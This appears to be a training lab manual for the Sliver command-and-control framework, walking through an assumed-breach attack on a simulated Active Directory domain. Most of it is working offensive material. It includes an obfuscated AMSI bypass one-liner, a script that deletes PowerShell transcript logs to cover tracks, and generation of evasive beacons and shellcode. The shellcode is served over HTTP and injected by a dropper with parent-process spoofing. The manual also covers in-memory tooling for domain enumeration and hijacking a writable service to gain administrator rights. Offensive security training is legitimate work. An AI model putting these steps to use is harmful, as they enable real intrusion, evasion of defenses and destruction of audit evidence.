LabManual Sliver
LabManual Sliver
LabManual Sliver
Table of Contents
Introduction ........................................................................................................... 7
What is Sliver ............................................................................................................................................ 7
Features .................................................................................................................................................... 8
Dependencies ........................................................................................................................................... 8
Objective................................................................................................................ 9
Lab objective............................................................................................................................................. 9
Lab Prerequisites ...................................................................................................................................... 9
Foothold .............................................................................................................. 21
Using Process Injection to invoke shellcode remotely ....................................................................... 21
Analysis using Process Hacker ............................................................................................................ 23
“Bred as living shields, these slivers have proven unruly-they know they cannot be caught.”
Dependencies
Ideally, we need to use a Linux machine as the authors recommend to run the Sliver server on
Linux/MacOS (any OS except windows). We will be using Kali Linux for this lab.
Recommended/Optional Dependencies include mingw-w64 & Metasploit for using all capabilities of
the Sliver C2.
Lab Prerequisites
Use a web browser or the OpenVPN client to connect to the lab. See the “Connecting to lab” document
for more details.
All the tools used in the course are available in C:\AD\Tools on your foothold machine. Feel free to
upload and test out tools of your choice.
The lab manual uses terminology for user specific resources. For example, if you see studentx and your
user ID is student25, read studentx as student25 and so on.
PPID/PIDs will be different on each lab machine & might change on every startup, so perform Process
Injection appropriately.
Reboot the Foothold VM to try a quick fix if you find issues while performing ticket-based attacks using
tools like Rubeus.
Some tools may not produce desired output because of prior impersonation attacks, spawn new Sliver
sessions to avoid such issues.
Except the foothold machine dcorp-stdx, all other machines in the lab are reverted daily to revert to
their original known state. Make sure to save all your notes offline.
Windows Subsystem for Linux - WSL Ubuntu Core 20.04 is installed on dcorp-stdx to simulate Sliver
operations from Linux.
While copying code / commands from the lab manual, be sure to replace usernames, AES / RC4 keys etc.
in accordance with your lab instance. To Copy content, use standard CTRL + C and to Paste try CTRL + V
or Right Click (WSL Ubuntu app requires Right Click to paste).
WSL Ubuntu can be spawned from the Windows Terminal or the Ubuntu WSL app as follows.
• Spawn WSL using Ubuntu App: (Try Right Click to Paste clipboard)
• Spawn Ubuntu WSL from Windows Terminal: (Try CTRL + V to Paste clipboard)
NOTE: Since WSL is installed and sudo privileges are provided, WSL can be abused for privilege escalation
on dcorp-stdx. However, since AD abuse is the primary focus of this course, we disregard this escalation
path.
Use the Get-PSReadlineOption and note the HistorySavePath property value. This file contains the
PowerShell command history.
PS C:\> (Get-PSReadlineOption).HistorySavePath
C:\Users\studentX\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Con
soleHost_history.txt
To search a pattern across all history files of all users run the following command in an elevated shell.
PS C:\> Select-String -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\Powe
rShell\PSReadline\*. txt -Pattern 'mimikatz'
Bypass PSReadline by removing its functionality using the following command for the current session.
PS C:\> Remove-Module PSReadline
We can use either Windows Event Viewer or PowerShell in this case to see if you can find the Add-Type
command in the Microsoft-Windows-PowerShell/Operational log under event ID 4104.
PS C:\> Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -Fil
terXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table TimeCreated,
Message -Wrap
Execute the sbloggingbypass.ps1 one-liner and verify that the bypass works after execution as follows.
PS C:\> C:\AD\Tools\sbloggingbypass.ps1
PS C:\> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-Power
Shell"; Id=4104} | Measure | % Count
6
Module Logging
This feature was introduced in Windows PowerShell 3.0 that logs pipeline execution and command
execution events. It is entirely dictated by the LogPipelineExecutionDetails property of the module.
PowerShell 5.0:
PS C:\> Get-WinEvent -LogName “windows Powershell”
While enumerating PowerShell event logs, we notice that modules have a property called
LogPipelineExecutionDetails which by default is set to “False”, the ones set to “True” have module
logging enabled.
PS C:\> Get-Module -ListAvailable | Format-Table Name, LogPipelineExecutionDe
tails
Name LogPipelineExecutionDetails
---- ---------------------------
Microsoft.PowerShell.Operation.Validation False
PackageManagement False
Pester False
PowerShellGet False
[.......snip......]
After executing the above command, we couldn’t find any additional 4103 event logs.
System-Wide Transcription
The Start-Transcript cmdlet Enables transcription (console logging) for everything (powershell.exe,
PowerShell ISE, custom hosts - .NET DLL, msbuild, installutil etc.) which uses the PowerShell engine
(System.Management.Automation NameSpace/dll). Windows PowerShell 5.0 introduced nested and
system-wide transcription capabilities. This policy will automatically record all commands and output
them into log files in a directory that you specify. The directory should be created automatically.
A threat actor could simply delete transcript files to cover their tracks if the log path isn’t obscure and
there are no access controls to harden the path.
Here is a snippet to read the Transcription Logging Path from the registry and purge all transcript files.
PS C:\> $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Tra
nscription"
if(Test-Path $basePath) {
$a = Get-ItemProperty $basePath -Name OutputDirectory | Select-Object -Ex
pandProperty OutputDirectory
If (!$?) {'Not Configured'} Else {
If (Test-Path -Path $a) {
Get-ChildItem -Path $a -Recurse |
Remove-Item -Force -Confirm:$false -Recurse
} Else {
'Log path not found.'
}
}
} Else {
'Not Configured'
}
Antimalware Scan Interface (AMSI) is ideally used to integrate applications and services with
antimalware products that provide enhanced malware protection. AMSI, allows detection of malicious
scripts regardless of input method (disk, encodedcommand, in-memory) and the provides registered
antivirus access to contents of a script before execution. You will find these alerts in the log Microsoft-
Windows-Windows Defender/Operational with event ID 1116 and 1117.
Using either Windows Event Viewer or in this case PowerShell we can find flagged sources like the
Invoke-Mimikatz command in the Microsoft-Windows-Windows Defender/Operational log under event
IDs 1116 or 1117.
PS C:\> Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational
' -FilterXPath "*[System[((EventID=1116) or (EventID=1117))]]" -MaxEvents 5 |
Format-Table TimeCreated, Message -Wrap
We should use an AMSI Bypass that itself isn’t detected by defender. Some useful sources are Amsi-
Bypass-Powershell and amsi.fail. We can obfuscate the original AMSI bypass script by leveraging
tools such as Invoke-Obfuscation and chameleon to bypass detections. We will use the following
obfuscated bypass to bypass AMSI during the lab.
PS C:\> S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TY
pE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' )
-VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A
',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'
) ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),
( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T
`VaLUE"( ${n`ULl},${t`RuE} )
Run either of the batch files depending on if you have local administrator privileges or not:
RunWithPathAsAdmin.bat or RunWithRegistryNonAdmin.bat.
# Using non-admin privileges
PS C:\> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
All that is needed to host Sliver is the sliver-server_linux (C2 Server) and the sliver-client_linux (C2
multiplayer client) binaries.
The student-VM (dcorp-stdX) is used as an initial foothold (via an assumed breach scenario) and is used
to pivot onto other machines via pivots.
Only dcorp-stdX connects back to the Sliver C2 via HTTPS and all other lab machines connect back to
send C2 traffic to dcorp-stdX via TCP pivots which ultimately is relayed back by the foothold HTTPS
channel onto the Sliver C2.
Sliver C2 Setup
Sliver has been downloaded and is located at C:\AD\Tools\Sliver. Corresponding Defender Exceptions
have been added for successful compilation of beacons and implants.
Spawn a WSL Ubuntu prompt. Execute the sliver-server executable to start the Sliver C2 server.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver$ sudo ./sliver-server_linux
[sudo] password for wsluser: WSLToTh3Rescue!
Sliver supports multiple egress callback protocols like mTLS, DNS and HTTPS. In this case we use HTTPS
for egress callbacks. Start a HTTPS listener to listen on port 443 for C2 traffic.
NOTE: It is possible to use custom certificates for HTTPS encryption. List active egress listeners using the
jobs command.
Generate a HTTPS Portable Executable (exe) beacon with basic obfuscation features enabled (-e).
[server] sliver > generate beacon -b https://172.16.100.X -e -f exe -N dcorp-
std_https
generate:
-e: enable evasion features
-b: http(s) connection strings
Similarly, generate HTTPS beacon shellcode with basic obfuscation features enabled.
[server] sliver > generate beacon -b https://172.16.100.X -e -f shellcode -N
dcorp-std_https
Setup a python3 / HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools, shellcode
and payloads onto the target environment from /mnt/c/AD/Tools/Sliver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
PPID spoofing is a technique that allows attackers to start programs with an arbitrary parent process
set. This helps attackers make it look as if their programs were spawned by another process (instead of
the one that would have spawned it if no spoofing was done) and it may help evade detections, that are
based on parent/child process relationships.
• Illegitimate and unlikely parent/child relationships can help in detection, for example
WINWORD.exe spawning a malicious rundll32.exe/cmd.exe is suspicious and a potential IOC.
• We can abuse legitimate parent/child process relationships to blend in and stay hidden for better
OPSEC. Analyzing with Process Hacker we see a common legitimate relationship with svchost.exe
launching RuntimeBroker.exe / sihost.exe / taskhostw.exe / SearchUI.exe etc. We will impersonate
such legitimate relationships to execute our injection tasks from to stay hidden.
Any other external tool that is a .NET assembly can be executed via execute-assembly and inline-
execute-assembly (Not all .NET assemblies are necessarily compatible).
execute-assembly built into Sliver allows both remote process injection via fork and run methods with
appropriate PPID spoofing along with Self-Process injection. Self-process injection supports usage of the
inbuilt AMSI and ETW bypasses.
inline-execute-assembly like execute-assembly built into Sliver was mainly created for Self-Process
injection to avoid the Fork and Run execution technique.
Since PowerView/SharpView are detected in the modern day, a suitable replacement to perform most
of their enumeration functionality is by using a tool that supports custom LDAP queries like StandIn and
ADSearch.
[*] Output:
[Get-DomainSearcher] search base: LDAP://DCORP-DC.DOLLARCORP.MONEYCORP.LOCAL/
DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
[Get-DomainComputer] Using additional LDAP filter: (userAccountControl:1.2.84
0.113556.1.4.803:=8192)
[Get-DomainComputer] Get-DomainComputer filter string: (&(samAccountType=8053
06369)(userAccountControl:1.2.840.113556.1.4.803:=8192))
S-1-5-21-1874506631-3219952063-538504511
NOTE: Any tool that consecutively performs LDAP queries will cause alerts over protections like MDI and
ATP. In a real engagement it would be advised to perform such enumeration over long time intervals.
We can use a PE Loader to perform Process Injection into a target process by downloading/invoking
remotely hosted shellcode. We will be using a dropper that leverages NtAPIs to avoid detections called
NtDropper (currently closed source) to perform this using the already generated dcorp-std_https.bin
shellcode hosted using the python3/HFS webserver.
Begin by using the NtDropper dropper to invoke the shellcode hosted locally as follows.
PS C:\AD\Tools> C:\AD\Tools\NtDropper.exe
Usage: <IP or H0stname> <sh3llcod3>
Back on our python3 / HFS webserver we see a web request invoking dcorp-std_https.bin.
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver$ sudo python3 -m http.server 80
[sudo] password for wsluser: WSLToTh3Rescue!
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.100.X - - [01/Jan/2024 05:10:02] "GET /dcorp-std_https.bin HTTP/1.1" 2
00 -
List all beacons using the beacons command. To interact/use a beacon, select the appropriate beacon by
using the use command with its corresponding beacon ID.
Note: beacons regularly check-in after a suitable sleep interval unlike Sliver interactive sessions which
interact in Realtime.
[server] sliver > beacons
3a53f558 dcorp-std_https http(s) dcorp-studentX dcorp\st
udentX windows/amd64 14s 1m2s
We can start a Session Implant using the interactive command to interact with the host in Realtime.
Interact with a session using the -i argument.
Note: This is different from the shell command which spawns a shell and isn’t OPSEC safe
[server] sliver (dcorp-std_https) > interactive
[*] Using beacon's active C2 endpoint: https://172.16.100.X
[*] Tasked beacon dcorp-std_https (56cb1350)
[*] Session 44f1c601 dcorp-std_https - 172.16.100.X:61263 (dcorp-studentX) -
windows/amd64 - Tue, 02 Jan 2024 04:28:12 PST
We can use the armory install command to install external tools/modules, an example is shown below.
Examine the beacon RuntimeBroker.exe process and the modules tab to find amsi.dll is loaded in the
current process.
• Users
• Computers
• Domain Administrators
• Enterprise Administrators
Enumerating Users
Using StandIn
We begin the enumeration phase using the dcorp-stdX foothold session.
We enumerate users using StandIn along with the execute-assembly command to execute StandIn in
memory along with PPID spoofing.
• execute-assembly supports injection into a remote hosting process and injection into the current
sliver process (Self-injection). Apart from this it supports an in-built Amsi Bypass (-M) and ETW
Bypass (-E) when performing Self-injection (-i).
• To begin using execute-assembly along with our tools we need to find a suitable parent process to
fork and run a child process under. We will use the previously used beacons (RuntimeBroker.exe)
parent process (Svchost.exe, PID: 3476) to spawn a child process (taskhostw.exe) and inject our
.NET tooling for successful PPID spoofing.
If we would want to spawn under another parent process, we can enumerate processes using the ps
command as follows.
[server] sliver (dcorp-std_https) > ps -e svchost.exe
ps:
-e, --exe string filter based on executable name
To begin enumerating all users we can use LDAP queries to query all objects and their properties (refer
here to understand LDAP queries) using the --ldap option followed by the query:
(&(objectCategory=person)(objectClass=user)). This LDAP query filters for objects with a matching
Object Category property as person and Object Class property as user which in short queries all USER
OBJECT types and their respective properties.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/StandIn.exe' '--ldap "(&(object
Category=person)(objectClass=user))"'
[*] Output:
[+] logoncount
|_ 65535
[+] codepage
|_ 0
[+] objectcategory
|_ CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
[+] description
|_ Built-in account for administering the computer/domain
[+] usnchanged
|_ 3404228
[..................snip...................]
execute-assembly:
-t, --timeout command timeout in seconds (default: 60)
-p, --process string hosting process to inject into
-P, --ppid uint parent process id (optional) (default: 0)
StandIn:
--ldap LDAP filter, can return result collection
--filter Filter results, varies based on module
--limit Limit results, varies based on module, defaults:50
We can optionally return specific properties of the queried object like the samccountname property
using the --filter argument and limit the results displayed using the --limit argument.
We can perform an AMSI and ETW bypass with execute-assembly using the -M and -E flags. Showcasing
the same command execution with the mentioned bypasses is as follows.
Note: AMSI/ETW bypasses using execute-assembly in Sliver can only be performed in the current process
(Self-Injection) and not in a remote process. Use the -i flag to perform execution within the current Sliver
beacon process. To perform an AMSI/ETW bypass in a remote process use the inject-amsi-bypass and
inject-etw-bypass commands.
[server] sliver (dcorp-std_https) > execute-assembly -i -M -E -t 80 '/mnt/c/A
D/Tools/StandIn.exe' '--ldap samaccountname=* --filter displayname'
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 75
|_ Result limit : 50
[..................snip...................]
execute-assembly:
-i, --in-process Run in the current sliver process
-M, --amsi-bypass Bypass AMSI on Windows
-E, --etw-bypass Bypass ETW on Windows
Execution using inline-execute-assembly which avoids the Fork and Run execution technique is as
follows.
[server] sliver (dcorp-std_https) > inline-execute-assembly -t 180 '/mnt/c/AD
/Tools/StandIn.exe' '--ldap "(&(objectCategory=person)(objectClass=user))" --
limit 100'
[*] Output:
[+] logoncount
|_ 65535
[+] codepage
|_ 0
[+] description
|_ Built-in account for administering the computer/domain
[+] usnchanged
|_ 3404228
[+] instancetype
|_ 4
[+] name
|_ Administrator
[+] badpasswordtime
|_ 9/15/2022 10:57:35 AM UTC
[+] pwdlastset
|_ 2/17/2019 5:14:11 AM UTC
[+] objectclass
|_ top
|_ person
|_ organizationalPerson
|_ user
[+] badpwdcount
|_ 0
[+] samaccounttype
|_ SAM_NORMAL_USER_ACCOUNT
[..................snip...................]
It is advised to use execute-assembly for fork and run execution for larger .NET binaries to avoid
crashing our own Sliver implant/beacon process via Self-Injection methods. Hence for most of the tool
execution during the lab we focus on using execute-assembly with valid PPID spoofing.
To query LDAP over a single/specific object using StandIn we can use the --object argument. In this
example we query a single object which is the dcorp\administrator object using its known
samaccountname property to retrieve only it’s description and the lastlogon properties using the --filter
argument.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/StandIn.exe' '--object samaccou
ntname=administrator --filter lastlogon,description'
[*] Output:
[+] description
|_ Built-in account for administering the computer/domain
[+] lastlogon
|_ 9/16/2022 11:25:00 AM UTC
This also works the same with --ldap argument only difference being that the --ldap argument can be
used to perform LDAP queries over multiple objects at a time while the --object argument allows to
perform LDAP queries only over a single object.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/StandIn.exe' '--ldap samaccount
name=administrator --filter lastlogon,description'
[*] Output:
[+] description
|_ Built-in account for administering the computer/domain
[+] lastlogon
|_ 9/16/2022 11:25:00 AM UTC
[*] Output:
___ ____ _____ __
/ | / __ \/ ___/___ ____ ______/ /_
/ /| | / / / /\__ \/ _ \/ __ `/ ___/ __ \
/ ___ |/ /_/ /___/ / __/ /_/ / /__/ / / /
/_/ |_/_____//____/\___/\__,_/\___/_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
[.........snip..........]
ADSearch:
--users Enumerate and return all users from AD.
It is also possible to do this with a LDAP query using the --search argument and the
(&(objectCategory=person)(objectClass=user)) query as shown above using StandIn (By default selects
the cn attribute).
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/ADSearch.exe' '--search "(&(obj
ectCategory=person)(objectClass=user))"'
[*] Output:
[*] No domain supplied. This PCs domain will be used instead
ADSearch:
--search Perform a custom search on the AD server.
--attributes Attributes to be returned from the results in csv.
[..................snip...................]
We can query the dcorp\administrator object using a known property like the samaccountname and the
LDAP filter: (samaccountname=administrator). We can optionally return specific properties of the
object using the --attributes argument. In this case we filter to retrieve only the cn, description and the
logoncount properties.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/ADSearch.exe' '--search "(samac
countname=administrator)" --attributes cn,logoncount,description'
[*] Output:
[*] Output:
[.................snip..................]
[*] Output:
[............snip...........]
[*] Output:
[+] member
|_ CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
|_ CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
An alternative would be to query a group for its members using the --group argument as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/StandIn.exe' '--group "domain a
dmins"'
[*] Output:
[…snip…]
[+] Members
[*] Output:
To filter specific properties of the above users, use LDAP queries using the --search command and use
appropriate filters using the --attributes argument to return specific properties.
[*] Output:
[+] Members
StandIn:
--domain Domain name
--user User name
--pass Password
--group Target group
[*] Output:
[*] LDAP://DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[+] cn : Enterprise Admins
[+] member : CN=Administrator,CN=Users,DC=moneycorp,DC=local
ADSearch:
--domain The domain controller we are connecting to in the FQDN f
ormat
--username Attempts to authenticate to AD with the given username.
--password Attempts to authenticate to AD with the given password.
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 4
|_ Result limit : 50
[*] Output:
[*] Output:
[*] Output:
Find the source for dsquery.cs from here. Dsquery can also be used to perform all standard
enumeration that StandIn and ADSearch perform using LDAP queries.
Use dsquery to perform a custom search over the StudentMachines OU by supplying it’s
distinguisedname as a Search Base/Start Node and use the -filter argument to perform a LDAP query to
query all computers in the StudentMachines OU.
accountexpires: 9223372036854775807
adspath: LDAP://CN=DCORP-STDADM,OU=StudentMachines,DC=dollarcorp,DC=moneycorp
,DC=local
badpasswordtime: 132426575463687563
badpwdcount: 0
cn: DCORP-STDADM
codepage: 0
countrycode: 0
distinguishedname: CN=DCORP-STDADM,OU=StudentMachines,DC=dollarcorp,DC=moneyc
orp,DC=local
dnshostname: dcorp-stdadm.dollarcorp.moneycorp.local
dscorepropagationdata: 5/3/2020 9:04:05 AM
dscorepropagationdata: 2/26/2019 8:38:38 AM
dscorepropagationdata: 1/1/1601 12:00:01 AM
instancetype: 4
iscriticalsystemobject: False
lastlogoff: 0
lastlogon: 133080561744848387
lastlogontimestamp: 133080301217800681
localpolicyflags: 0
logoncount: 267
msds-supportedencryptiontypes: 28
name: DCORP-STDADM
objectcategory: CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
objectclass: top
DONE
[*] Output:
[..................snip................]
[*] Output:
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 1
|_ Result limit : 50
Now, copy the GPLink string from above (no square brackets, no semicolon and nothing after semicolon)
and use it below with StandIn to figure out which GPO corresponds to that GPLink attribute by using the
LDAP query: (&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D}))). Use the --filter argument to get only the name of the GPO applied via the
displayname property as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/StandIn.exe' '--ldap "(&(object
Category=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-9E4618BC785D})
))" --filter displayname'
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 1
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => displayname
[*] Output:
Now, copy the GPLink string from above (no square brackets, no semicolon and nothing after semicolon)
and use it below with ADSearch to figure out which GPO corresponds to that GPLink attribute by using
the LDAP query: (&(objectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-
9E4618BC785D}))). Use the --attributes argument to get only the name of the GPO applied via the
displayname property as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/ADSearch.exe' '--search "(&(obj
ectCategory=groupPolicyContainer)(|(name={7478F170-6A0C-490C-B355-9E4618BC785
D})))" --attributes displayname'
[*] Output:
Let’s enumerate the DACL for the Domain Admins Group using ADCollector. Specify the DACL to
enumerate using the --DACL argument and specify the Distinguished Name of the Domain Admins
group.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/ADCollector.exe' '--DACL "CN=DO
MAIN ADMINS,CN=USERS,DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL"'
[*] Output:
_ ____ ____ _ _ _
/ \ | _ \ / ___|___ | | | ___ ___ _| |_ ___ _ __
/ _ \ | | | | | / _ \| | |/ _ \/ __|_ __/ _ \| __|
/ ___ \| |_| | |__| (_) | | | __/ (__ | || (_) | |
/_/ \_\____/ \____\___/|_|_|\___|\___| |__/\___/|_|
v3.0.1 by dev2null
- CN=DOMAIN ADMINS,CN=USERS,DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
Authenticated Users All properties (GenericRead
[Allow])
Local System All properties (GenericAll
[Allow])
BUILTIN\Administrators CreateChild, DeleteChild, S
elf, WriteProperty, [ExtendedRight: All [Allow]], Delete, GenericRead, WriteD
acl, WriteOwner
mcorp\Enterprise Admins CreateChild, DeleteChild, S
elf, WriteProperty, [ExtendedRight: All [Allow]], GenericRead, WriteDacl, Wri
teOwner
dcorp\Domain Admins CreateChild, DeleteChild, S
[.....snip.....]
[*] Done!
ADCollector:
--DACL Enumerate DACL on the target object (use Distinguishe
dName)
Note: ADCollector automatically even queries interesting DACLs for the groups the user is part of
(dcorp\studentX is a member of the RDPUsers group)).
[*] Output
- DC=dollarcorp,DC=moneycorp,DC=local
- CN=ControlXUser,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
dc
orp\RDPUsers All properties (GenericAll)
-
[...............snip.................]
[*] Done!
Since we are using a custom search base, we use DSQuery since StandIn and ADSearch do not support
custom search bases.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/dsquery.exe' '* "CN=Partitions,
CN=Configuration,DC=moneycorp,DC=local" -filter "(nETBIOSName=*)" -attr ncnam
e'
[*] Output:
Records Found: 3
ncname
DC=dollarcorp,DC=moneycorp,DC=local
DC=moneycorp,DC=local
DC=us,DC=dollarcorp,DC=moneycorp,DC=local
DONE
[*] Output:
[*] No domain supplied. This PCs domain will be used instead
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 3
[
{
"cn": "moneycorp.local
"flatName": "mcorp
"name": "moneycorp.local
"objectClass":
"top
"leaf",
"trustedDomain
],
"trustAttributes": 32
"trustDirection": 3,
"trustPartner": "moneycorp.local"
},
{
"cn": "us.dollarcorp.moneycorp.local",
"flatName": "us",
"name": "us.dollarcorp.moneycorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 32,
"trustDirection": 3,
"trustPartner": "us.dollarcorp.moneycorp.local"
},
• trustAttributes: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c
• trustDirection: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
adts/5026a939-44ba-47b2-99cf-386a9e674b04
For example, if the trustDirection = 3, from the above Microsoft Documentation it states that if the
trustDirection = 0x00000003 it is a BiDirectional Trust.
We can use this as a LDAP query: (trustAttributes=4) to filter out External Trusts using ADSearch for the
moneycorp.local domain as follows.
[*] Output:
[*] LDAP://DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 0
There are no external cross forest trusts specified for the moneycorp.local domain.
[*] Output:
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
{
"cn": "eurocorp.local",
"flatName": "ecorp",
"name": "eurocorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 4,
"trustDirection": 3,
"trustPartner": "eurocorp.local"
}
]
[*] Output:
[*] LDAP://DC=eurocorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[
{
"cn": "eu.eurocorp.local",
"flatName": "eu",
"name": "eu.eurocorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 32,
"trustDirection": 3,
"trustPartner": "eu.eurocorp.local"
},
{
"cn": "dollarcorp.moneycorp.local",
"flatName": "dcorp",
"name": "dollarcorp.moneycorp.local",
"objectClass": [
"top",
"leaf",
"trustedDomain"
],
"trustAttributes": 4,
"trustDirection": 3,
"trustPartner": "dollarcorp.moneycorp.local"
}
]
• Identify a machine in the domain where studentX has local administrative access.
• Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on 172.16.3.11 - the
dcorp-ci server.
[*] In medium integrity but user is a local administrator- UAC can be bypasse
d.
3. Modifiable Services
[...........snip...........]
[...........snip...........]
We can use now Stracciatella to further execute icacls to enumerate modifiable service binary
permissions for the abyssws.exe binary. Stracciatella is a PowerShell runspace from within C# (also
called SharpPick) with AMSI, Constrained Language Mode and Script Block Logging disabled at
startup.
[server] sliver (dcorp-std_https) > cd "C:\WebServer\Abyss Web Server"
[*] C:\WebServer\Abyss Web Server
abyssws.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
To enumerate modifiable Unquoted Service Path permissions, we can use Stracciatella to execute icacls
over the Path of the binary as follows.
[server] sliver (dcorp-std_https)> execute-assembly -P 2396 -p "C:\windows\sy
stem32\taskhostw.exe" -t 45 '/mnt/c/AD/Tools/Stracciatella.exe' '-c "icacls C
:\WebServer"'
[*] Output:
C:\WebServer NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
S
Successfully processed 1 files; Failed processing 0 files
We will first abuse the AbyssWebServer service to add dcorp\studentX as a local administrator.
We will be using Sliver’s remote-sc-* commands to start, stop and reconfigure the AbyssWebServer
service the same way as the sc.exe command. Since Sliver’s remote-sc-* commands uses a COFF-
Loader via Beacon Object files all execution is performed within the current Sliver beacon process.
Begin by stopping the target service using the remote-sc-stop command.
[server] sliver (dcorp-std_https) > remote-sc-stop -h
stop service on a windows based system
Usage:
======
remote-sc-stop [flags] hostname service_name
Args:
=====
hostname string hostname to stop service on use "" for local system
service_name string name of service to stop
Flags:
======
-h, --help display help
-t, --timeout int command timeout in seconds (default: 60)
Rechange the configuration of the AbyssWebServer service to add the current user (dcorp\studentX) to
the local administrator group.
[server] sliver (dcorp-std_https) > remote-sc-config -h
configure an existing service
Usage:
======
remote-sc-config [flags] hostname service_name binpath error_mode start_mod
e
Args:
=====
hostname string hostname to modify service on use "" for local syst
An alternative to abuse the AbyssWebServer service to get a high integrity persistent Sliver session is to
upload a Sliver service session implant replacing the original one in the service configuration.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Reconfigure the service as follows to execute the NtDropper along with the previously generated https
shellcode.
[server] sliver (dcorp-std_https) > remote-sc-stop -t 45 "" AbyssWebServer
[*] Successfully executed remote-sc-stop (coff-loader)
[*] Got output:
stop_service:
hostname:
servicename: AbyssWebServer
Service is already stopped.
SUCCESS.
[*] Output:
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/domain: dollarcorp.moneycorp.local
/ldap: servers-exclude-dc
/threads: 10
/user: studentX@dollarcorp.moneycorp.local
